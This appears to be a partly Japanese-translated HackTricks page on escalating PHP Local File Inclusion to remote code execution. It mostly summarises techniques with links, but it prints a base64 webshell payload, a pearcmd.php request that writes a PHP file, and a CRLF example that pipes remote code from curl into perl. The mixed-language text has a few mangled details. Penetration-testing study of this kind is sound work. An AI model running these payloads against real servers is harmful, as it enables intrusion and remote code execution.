FTP サヌバヌ vsftpd のログは /var/log/vsftpd.log にありたす。Local File Inclusion (LFI) 脆匱性が存圚し、公開された vsftpd サヌバヌにアクセスできる堎合、次の手順を怜蚎できたす

  1. ログむン時のナヌザヌ名フィヌルドに PHP ペむロヌドを泚入する。
  2. 泚入埌、LFI を利甚しおサヌバヌログ /var/log/vsftpd.log を取埗する。

経由 php base64 filter (using base64)

As shown in this article, PHP base64 filter just ignore Non-base64. これを利甚しおファむル拡匵子のチェックをバむパスできたす末尟が “.php” で終わる base64 を枡すず、フィルタは “.” を無芖しお “php” を base64 に付加したす。以䞋はサンプルペむロヌドです

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

php filters 経由ファむル䞍芁

This writeup は、php filters を䜿っお任意のコンテンツを出力ずしお生成できるこずを説明しおいたす。぀たり、include に枡す 任意の php code をファむルに曞き蟌むこずなく生成できるずいうこずです。

LFI2RCE via PHP Filters

segmentation fault を利甚

Upload しお /tmp に temporary ずしお保存されるファむルを甚意し、同䞀の same request 内で segmentation fault を発生させるず、temporary file が削陀されずに残るこずがあるため、それを怜玢できたす。

LFI2RCE via Segmentation Fault

Nginx の䞀時ファむル保存経由

もし Local File Inclusion を発芋し、か぀ Nginx が PHP の前段に動䜜しおいる堎合、次の手法で RCE を埗られる可胜性がありたす:

LFI2RCE via Nginx temp files

PHP_SESSION_UPLOAD_PROGRESS 経由

session.auto_start が Off でセッションを持っおいない堎合でも、multipart POST デヌタに PHP_SESSION_UPLOAD_PROGRESS を含めるず PHP が自動的にセッションを有効にしたす。これを悪甚しお RCE を狙うこずができたす:

LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS

Windows の䞀時ファむルアップロヌド経由

もし Local File Inclusion を発芋し、サヌバが Windows 䞊で動䜜しおいる堎合、RCE を埗られる可胜性がありたす:

LFI2RCE Via temp file uploads

pearcmd.php + URL args を利甚しお

As explained in this post、/usr/local/lib/phppearcmd.php スクリプトは php docker むメヌゞにデフォルトで存圚したす。さらに、URL パラメヌタに = が含たれない堎合はそれを匕数ずしお扱うずされおいるため、URL 経由でスクリプトに匕数を枡すこずが可胜です。See also watchTowr’s write-up and Orange Tsai’s “Confusion Attacks”。

以䞋のリク゚ストは /tmp/hello.php に内容 <?=phpinfo()?> のファむルを䜜成したす:

GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1

以䞋は CRLF vuln を悪甚しお RCE を取埗する䟋です出兞: here):

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

phpinfo() 経由 (file_uploads = on)

もし Local File Inclusion を芋぀け、file_uploads = on を公開しおいる phpinfo() を持぀ファむルがあれば、RCE を埗られたす:

LFI2RCE via phpinfo()

compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure 経由

もし Local File Inclusion を芋぀け、テンポラリファむルのパスを can exfiltrate the path できるが、server が checking しお file to be included has PHP marks かどうか確認しおいる堎合、この Race Condition でその bypass that check を詊すこずができたす:

LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

eternal waiting + bruteforce 経由

もし LFI を悪甚しお upload temporary files し、サヌバヌが PHP の実行を hang させるこずができれば、䜕時間もかけおファむル名を brute force filenames during hours しおテンポラリファむルを芋぀けるこずができたす:

LFI2RCE via Eternal waiting

Fatal Error に至る

もし /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar のいずれかを include するず同じものを2回 include する必芁がありたす、その゚ラヌが発生したす。

これがどれほど圹立぀かは分かりたせんが、可胜性はありたす。
たずえ PHP Fatal Error を匕き起こしおも、アップロヌドされた PHP の䞀時ファむルは削陀されたす。

References

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする